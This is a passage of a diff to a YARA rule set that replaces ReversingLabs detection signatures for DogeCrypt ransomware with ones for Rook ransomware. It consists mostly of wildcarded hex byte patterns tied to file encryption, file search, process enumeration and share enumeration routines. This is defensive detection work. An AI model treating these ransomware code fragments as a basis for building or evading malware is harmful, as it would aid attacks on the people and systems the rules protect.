-            4C 24 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 51 FF D3 8B D8 83 FB ?? 75 ??
-            56 FF 15 ?? ?? ?? ?? 5F 5E 5D B8 ?? ?? ?? ?? 5B 83 C4 ?? C3 8B 54 24 ?? 6A ?? 52 57
-            56 53 E8 ?? ?? ?? ?? 83 C4 ?? 56 8B 35 ?? ?? ?? ?? 8B E8 FF D6 53 FF D6 85 ED 79 ??
-            8B 44 24 ?? 50 FF 15 ?? ?? ?? ?? 5F 5E 8B C5 5D 5B 83 C4 ?? C3 57 E8 ?? ?? ?? ?? 8B
-            F0 56 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 57 8B D8 FF 15 ?? ?? ?? ?? 8B 4C 24 ??
-            6A ?? 53 51 EB ?? 8B 4C 24 ?? BA ?? ?? ?? ?? 3B 55 ?? 1B C0 83 C0 ?? 50 51 57 56 56
-            E8 ?? ?? ?? ?? 83 C4 ?? 56 8B D8 FF 15 ?? ?? ?? ?? 85 DB 79 ?? 5F 5E 5D 8B C3 5B 83
-            C4 ?? C3 57 E8 ?? ?? ?? ?? 8B F0 56 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8B
-            D8 53 57 FF 15 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 5F 5E 5D 33
-            C0 5B 83 C4 ?? C3
+		$encrypt_files_p1 = {
+            55 8B EC 81 EC ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ??
+            6A ?? 8B 5D ?? 8B 03 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ??
+            68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8B 5D ?? 8B 03 85 C0 75 ??
+            B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? DB
+            45 ?? DD 5D ?? DD 45 ?? DB 45 ?? DD 5D ?? DC 65 ?? DD 5D ?? DD 45 ?? E8 ?? ?? ?? ??
+            68 ?? ?? ?? ?? 6A ?? 50 68 ?? ?? ?? ?? 6A ?? 8B 5D ?? 8B 03 85 C0 75 ?? B8 ?? ?? ??
+            ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8B 45 ?? 50 8B
+            5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 58 89 45 ?? 68 ?? ?? ?? ?? 6A ?? 8B 5D
+            ?? 8B 03 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8
         }
-		$find_files = {
-            53 55 8B 2D ?? ?? ?? ?? 56 57 33 FF 57 57 FF D5 8B F0 85 F6 74 ?? 85 FF 74 ?? 57 E8
-            ?? ?? ?? ?? 83 C4 ?? 8D 44 36 ?? 50 6A ?? 8B DE E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 57 56
-            FF D5 8B F0 3B DE 72 ?? 66 83 3F ?? 8B DF 0F 84 ?? ?? ?? ?? 8B 6C 24 ?? 53 8B FB FF
-            15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 8D 5C 43 ?? FF D6 85 C0 74 ?? 68
-            ?? ?? ?? ?? 57 FF D6 85 C0 74 ?? 57 FF 15 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C8 D3 E2 F6
-            C2 ?? 74 ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 57 8B F0 E8 ?? ?? ?? ?? 6A ?? 89 06 8D 46 ??
-            6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4E ?? 51 C7 46 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ??
-            8D 56 ?? 52 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 89 46 ?? E8 ?? ?? ??
-            ?? 83 C4 ?? 66 83 3B ?? 0F 85 ?? ?? ?? ?? 5F 5E 5D 5B C3
+		$encrypt_files_p2 = {
+            83 C4 ?? 89 45 ?? 8B 45 ?? 50 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 58 89
+            45 ?? 68 ?? ?? ?? ?? 6A ?? 8B 5D ?? 8B 03 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ??
+            ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 85 C0 75 ?? B8 ?? ?? ??
+            ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ??
+            8B 45 ?? 50 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 58 89 45 ?? 68 ?? ?? ??
+            ?? 8B 5D ?? FF 33 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 68 ?? ?? ?? ?? 6A
+            ?? 8B 45 ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 85 C0 75 ??
+            B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 5D ?? 85
+            DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ??
+            8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B E5 5D C2
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($find_files) and ($encrypt_files) and ($remote_connection)
+		uint16(0)==0x5A4D and ($find_files) and ( all of ($encrypt_files_p*))
 }
-rule REVERSINGLABS_Win32_Ransomware_Dogecrypt : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win64_Ransomware_Rook : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects DogeCrypt ransomware."
+		description = "Yara rule that detects Rook ransomware."
 		author = "ReversingLabs"
-		id = "e0ca22a5-70bb-5d2c-bce4-bac49c2a81d2"
-		date = "2021-04-28"
-		modified = "2021-04-28"
+		id = "60bbfd57-18bb-58b3-9abc-ab30943bbddd"
+		date = "2022-01-17"
+		modified = "2022-01-17"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.DogeCrypt.yara#L1-L114"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "1c19862884cf1e59d12c84f5ff6f799a4087ddc8bd887e0d2ce7da053642b851"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win64.Ransomware.Rook.yara#L1-L122"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "dc8b37e55b634de52855dd851dbaaf3e690adfb2e875d0e0c9ef5f4846c6ff30"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -46291,9594 +46682,13425 @@ rule REVERSINGLABS_Win32_Ransomware_Dogecrypt : TC_DETECTION MALICIOUS MALWARE F
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "DogeCrypt"
+		tc_detection_name = "Rook"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$encrypt_files_DogeCrypt_p1 = {
-            50 E8 ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ??
-            ?? BA ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 0F 43 15 ?? ?? ?? ?? 8B 85
-            ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 2B C6 89 B5 ?? ?? ?? ?? 3B C8 77 ?? 83 BD ?? ?? ?? ??
-            ?? 8D 3C 31 8D 04 09 89 BD ?? ?? ?? ?? 50 8B 85 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 0F 43
-            B5 ?? ?? ?? ?? 52 8D 04 46 50 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 66 89 04 7E EB ?? 51 52
-            C6 85 ?? ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7D ??
-            ?? 8D 45 ?? 8B 35 ?? ?? ?? ?? 0F 43 45 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68
-            ?? ?? ?? ?? 50 FF D6 8B F8 83 FF ?? 74 ?? 83 BD ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A
-            ?? 0F 43 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 50 FF D6 8B
-            F0 83 FE ?? 0F 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B
-            8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ??
-            2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 95 ?? ??
-            ?? ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ??
-            ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ??
-            ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ??
-            ?? ?? 83 C4 ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ??
-            ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ??
-            ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ??
-            ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83
+		$find_files = {
+            48 2B D6 48 8D 4C 24 ?? 48 FF C2 41 B8 ?? ?? ?? ?? F6 D8 4D 1B FF 4C 23 FA 33 D2 E8
+            ?? ?? ?? ?? 45 33 C9 89 7C 24 ?? 4C 8D 44 24 ?? 48 89 7C 24 ?? 33 D2 48 8B CE FF 15
+            ?? ?? ?? ?? 48 8B D8 48 83 F8 ?? 75 ?? 4D 8B CE 45 33 C0 33 D2 48 8B CE E8 ?? ?? ??
+            ?? 8B F8 48 83 FB ?? 74 ?? 48 8B CB FF 15 ?? ?? ?? ?? 8B C7 48 8B 8C 24 ?? ?? ?? ??
+            48 33 CC E8 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 41 5F 41 5E 5F
+            5E 5D C3 49 8B 6E ?? 49 2B 2E 48 C1 FD ?? 80 7C 24 ?? ?? 75 ?? 8A 44 24 ?? 84 C0 74
+            ?? 3C ?? 75 ?? 40 38 7C 24 ?? 74 ?? 4D 8B CE 48 8D 4C 24 ?? 4D 8B C7 48 8B D6 E8 ??
+            ?? ?? ?? 85 C0 75 ?? 48 8D 54 24 ?? 48 8B CB FF 15 ?? ?? ?? ?? 85 C0 75 ?? 49 8B 06
+            49 8B 56 ?? 48 2B D0 48 C1 FA ?? 48 3B EA 0F 84 ?? ?? ?? ?? 48 2B D5 48 8D 0C E8 4C
+            8D 0D ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9
         }
-		$encrypt_files_DogeCrypt_p2 = {
-            C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 95 ?? ?? ?? ?? 83
-            FA ?? 0F 82 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ??
-            ?? 0F 82 ?? ?? ?? ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? E9
-            ?? ?? ?? ?? 90 6A ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF
-            15 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? BA ?? ?? ?? ?? 81 F9 ?? ?? ?? ?? 0F 42 DA 85 C0 74
-            ?? 85 C9 74 ?? 51 8D 85 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 6A ??
-            53 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ??
-            ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? EB ?? 56 8B 35 ?? ?? ?? ?? FF D6 57
-            FF D6 83 7D ?? ?? 8D 45 ?? 0F 43 45 ?? 50 FF 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? 52 51 E8
-            ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 33 C0 66 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ??
-            ?? 89 85 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ??
-            ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83
-            C4 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5
-            5D C3
+		$encrypt_files_p1 = {
+            40 55 53 56 48 8D AC 24 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? F2 0F 10 05 ?? ?? ?? ?? 0F
+            B6 05 ?? ?? ?? ?? F2 0F 11 44 24 ?? 88 44 24 ?? E8 ?? ?? ?? ?? 33 D2 48 8D 0D ?? ??
+            ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 83 CE ?? 48 8D 4C 24 ?? 89 35 ?? ?? ?? ??
+            FF 15 ?? ?? ?? ?? 48 63 C8 4C 8D 4C 24 ?? 48 89 4C 24 ?? E8 ?? ?? ?? ?? 48 8D 4C 24
+            ?? FF 15 ?? ?? ?? ?? 48 63 C8 4C 8D 4C 24 ?? 48 89 4C 24 ?? E8 ?? ?? ?? ?? 0F 57 C0
+            0F 57 C9 F3 0F 7F 05 ?? ?? ?? ?? F3 0F 7F 0D ?? ?? ?? ?? F3 0F 7F 05 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 48 85 C0 48 89 05 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 0F 44 0D ?? ?? ??
+            ?? 48 89 0D ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF C0 48 8D 15 ?? ??
+            ?? ?? 4C 63 C0 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 8D 15 ??
+            ?? ?? ?? 48 89 05 ?? ?? ?? ?? 33 DB 48 8B 05 ?? ?? ?? ?? 45 33 C9 48 89 05 ?? ?? ??
+            ?? 45 33 C0 48 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 44 24 ?? 48 C7
         }
-		$find_files_DogeCrypt = {
-            8B FF 55 8B EC 51 8B 4D ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 57 8B 7D ?? 2B CA 8B C7 41
-            F7 D0 89 4D ?? 3B C8 76 ?? 6A ?? 58 EB ?? 53 56 8D 5F ?? 03 D9 6A ?? 53 E8 ?? ?? ??
-            ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? FF
-            75 ?? 2B DF 8D 04 3E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 5D ?? 8B
-            CB E8 ?? ?? ?? ?? 33 FF 89 45 ?? 85 C0 74 ?? 56 E8 ?? ?? ?? ?? 8B 75 ?? 59 EB ?? 8B
-            43 ?? 89 30 8B F7 83 43 ?? ?? 57 E8 ?? ?? ?? ?? 59 8B C6 5E 5B 5F 8B E5 5D C3 33 FF
-            57 57 57 57 57 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33
-            C5 89 45 ?? 8B 4D ?? 53 8B 5D ?? 57 8B 7D ?? 89 9D ?? ?? ?? ?? EB ?? 8A 01 3C ?? 74
-            ?? 3C ?? 74 ?? 3C ?? 74 ?? 51 57 E8 ?? ?? ?? ?? 59 59 8B C8 3B CF 75 ?? 8A 11 80 FA
-            ?? 75 ?? 8D 47 ?? 3B C8 74 ?? 53 33 DB 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 33 DB
-            80 FA ?? 74 ?? 80 FA ?? 74 ?? 8A C3 80 FA ?? 75 ?? B0 ?? 0F B6 C0 2B CF 41 F7 D8 56
-            1B C0 23 C1 68 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ??
-            83 C4 ?? 8D 85 ?? ?? ?? ?? 53 53 53 50 53 57 FF 15 ?? ?? ?? ?? 8B F0 8B 85 ?? ?? ??
-            ?? 83 FE ?? 75 ?? 50 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 83 FE ?? 74 ?? 56 FF 15
-            ?? ?? ?? ?? 8B C3 5E 8B 4D ?? 5F 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 48 ?? 2B 08
-            C1 F9 ?? 89 8D ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 8A 8D ?? ?? ?? ?? 84 C9 74 ??
-            80 F9 ?? 75 ?? 38 9D ?? ?? ?? ?? 74 ?? 50 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 50
-            E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0
-            8B 85 ?? ?? ?? ?? 75 ?? 8B 10 8B 40 ?? 8B 8D ?? ?? ?? ?? 2B C2 C1 F8 ?? 3B C8 0F 84
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? E9
+		$encrypt_files_p2 = {
+            C1 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 44 24 ?? 48 89 5C 24 ?? C7 44 24 ?? ?? ??
+            ?? ?? 89 5C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 48
+            8D 85 ?? ?? ?? ?? 4C 89 A4 24 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 44 24 ?? 4C 8D
+            25 ?? ?? ?? ?? 4C 89 AC 24 ?? ?? ?? ?? 45 33 C9 45 33 C0 4C 89 64 24 ?? 4C 89 BC 24
+            ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 4C 8D 2D ?? ?? ?? ?? 83
+            F8 ?? 0F 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 54 24 ?? 48 89 5C 24 ??
+            E8 ?? ?? ?? ?? 85 C0 78 ?? 4C 63 C8 4C 8D 85 ?? ?? ?? ?? 48 8D 44 24 ?? 4D 2B C1 48
+            89 44 24 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 4C 89 64 24 ?? E8 ?? ?? ?? ??
+            49 8B CD FF 15 ?? ?? ?? ?? 44 8B C0 89 05 ?? ?? ?? ?? B8 ?? ?? ?? ?? 41 F7 E8 C1 FA
+            ?? 8B CA C1 E9 ?? 03 D1 69 CA ?? ?? ?? ?? 44 3B C1 74 ?? FF C2 4C 8D 3D ?? ?? ?? ??
+            85 D2 0F 8E ?? ?? ?? ?? 48 89 BC 24 ?? ?? ?? ?? 49 8B DD 4C 89 B4 24 ?? ?? ?? ?? 49
         }
-		$decrypt_DesucryptKeyContainer_DogeCrypt = {
-            68 ?? ?? ?? ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? E8 ?? ?? ?? ?? C7 45 ?? ??
-            ?? ?? ?? 8D 55 ?? 83 7D ?? ?? 8B 5D ?? 8B 35 ?? ?? ?? ?? 0F 43 D3 A1 ?? ?? ?? ?? 8B
-            4D ?? 2B C6 89 75 ?? 3B C8 77 ?? 83 3D ?? ?? ?? ?? ?? 8D 3C 31 8D 04 09 89 3D ?? ??
-            ?? ?? 50 8B 45 ?? BE ?? ?? ?? ?? 0F 43 35 ?? ?? ?? ?? 52 8D 04 46 50 E8 ?? ?? ?? ??
-            83 C4 ?? 33 C0 66 89 04 7E EB ?? 51 52 C6 45 ?? ?? FF 75 ?? 51 B9 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 8B 5D ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 8D 0C 45 ?? ?? ?? ??
-            8B C3 81 F9 ?? ?? ?? ?? 72 ?? 8B 5B ?? 83 C1 ?? 2B C3 83 C0 ?? 83 F8 ?? 0F 87 ?? ??
-            ?? ?? 51 53 E8 ?? ?? ?? ?? 83 C4 ?? 83 3D ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 6A ?? 0F 43
-            05 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ??
-            8B F0 83 FE ?? 0F 84 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8D 45 ?? 6A ?? 50 6A ?? 68 ?? ??
-            ?? ?? 56 FF D3 83 F8 ?? 0F 85 ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 50 E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 8D 45 ?? 6A ??
-            50 C6 07 ?? FF 35 ?? ?? ?? ?? 57 56 FF D3 83 F8 ?? 75 ?? BA ?? ?? ?? ?? B9 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 35 ?? ??
-            ?? ?? 57 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? BA ?? ?? ?? ?? B9 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? B8 ?? ??
-            ?? ?? EB ?? 33 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ??
-            ?? ?? 8B E5 5D C3 E8 ?? ?? ?? ?? E8
+		$encrypt_files_p3 = {
+            8B FF 44 8B F2 0F 1F 00 48 8B 0D ?? ?? ?? ?? 8B 91 ?? ?? ?? ?? 85 D2 74 ?? 83 FA ??
+            75 ?? 48 89 7C 24 ?? 4C 8D 05 ?? ?? ?? ?? 48 89 5C 24 ?? 48 8D 15 ?? ?? ?? ?? 48 C7
+            44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 48 89 7C 24 ?? 4C 8D 05 ?? ?? ?? ?? 48 89
+            5C 24 ?? 48 8D 15 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 81 C7 ??
+            ?? ?? ?? 48 81 C3 ?? ?? ?? ?? 49 83 EE ?? 75 ?? 4C 8B B4 24 ?? ?? ?? ?? 33 DB 48 8B
+            BC 24 ?? ?? ?? ?? 66 0F 1F 44 00 ?? 48 FF C6 41 80 3C 34 ?? 75 ?? 48 8B 8D ?? ?? ??
+            ?? 48 8D 15 ?? ?? ?? ?? 89 74 24 ?? 41 B9 ?? ?? ?? ?? 45 33 C0 4C 89 64 24 ?? FF 15
+            ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 41 B9 ?? ?? ?? ?? C7 44 24 ??
+            ?? ?? ?? ?? 45 33 C0 4C 89 7C 24 ?? FF 15 ?? ?? ?? ?? EB ?? 48 8B 8D ?? ?? ?? ?? 48
+            8D 85 ?? ?? ?? ?? 48 89 44 24 ?? 4C 8D 3D ?? ?? ?? ?? 45 33 C9 4C 89 7C 24 ?? 45 33
+            C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 49 8B CC FF
+            15 ?? ?? ?? ?? 49 8B D4 48 8D 0D ?? ?? ?? ?? FF C0 4C 63 C0 E8 ?? ?? ?? ?? 48 8B 05
+            ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 89 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 05 ?? ??
+            ?? ?? 4C 8B BC 24 ?? ?? ?? ?? 4C 8B A4 24 ?? ?? ?? ?? 48 85 C0 74 ?? 48 8B 0D ?? ??
+            ?? ?? FF 50 ?? 48 8B 05 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 33 D2 44 8D 42 ?? FF D0 48
+            8B 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 48 63 85 ?? ?? ?? ?? 48 3D ??
+            ?? ?? ?? 73 ?? 0F 1F 00 48 63 85 ?? ?? ?? ?? 42 C6 04 28 ?? FF 85 ?? ?? ?? ?? 48 63
+            85 ?? ?? ?? ?? 48 3D ?? ?? ?? ?? 72 ?? 4C 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ??
+            5E 5B 5D C3
+        }
+		$enum_procs = {
+            40 56 48 81 EC ?? ?? ?? ?? 33 D2 8D 4A ?? FF 15 ?? ?? ?? ?? 48 8D 54 24 ?? C7 44 24
+            ?? ?? ?? ?? ?? 48 8B C8 48 8B F0 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 89 9C
+            24 ?? ?? ?? ?? 48 89 AC 24 ?? ?? ?? ?? 48 8D 2D ?? ?? ?? ?? 48 89 BC 24 ?? ?? ?? ??
+            0F 1F 40 ?? 0F 1F 84 00 ?? ?? ?? ?? 33 DB 48 8B FD 66 66 66 0F 1F 84 00 ?? ?? 00 00
+            48 8B 0F 48 8D 54 24 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? FF C3 48 83 C7 ?? 83 FB ?? 72
+            ?? EB ?? 44 8B 44 24 ?? 33 D2 8D 4A ?? FF 15 ?? ?? ?? ?? 48 8B D8 48 85 C0 74 ?? BA
+            ?? ?? ?? ?? 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? 48 8D 54 24 ?? 48
+            8B CE FF 15 ?? ?? ?? ?? 85 C0 75 ?? 48 8B BC 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ??
+            48 8B 9C 24 ?? ?? ?? ?? 48 8B CE FF 15 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5E C3
+        }
+		$enum_shares = {
+            48 83 EC ?? 33 D2 C7 44 24 ?? ?? ?? ?? ?? 48 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 4C
+            8B C9 48 89 44 24 ?? 8D 4A ?? 44 8D 42 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ??
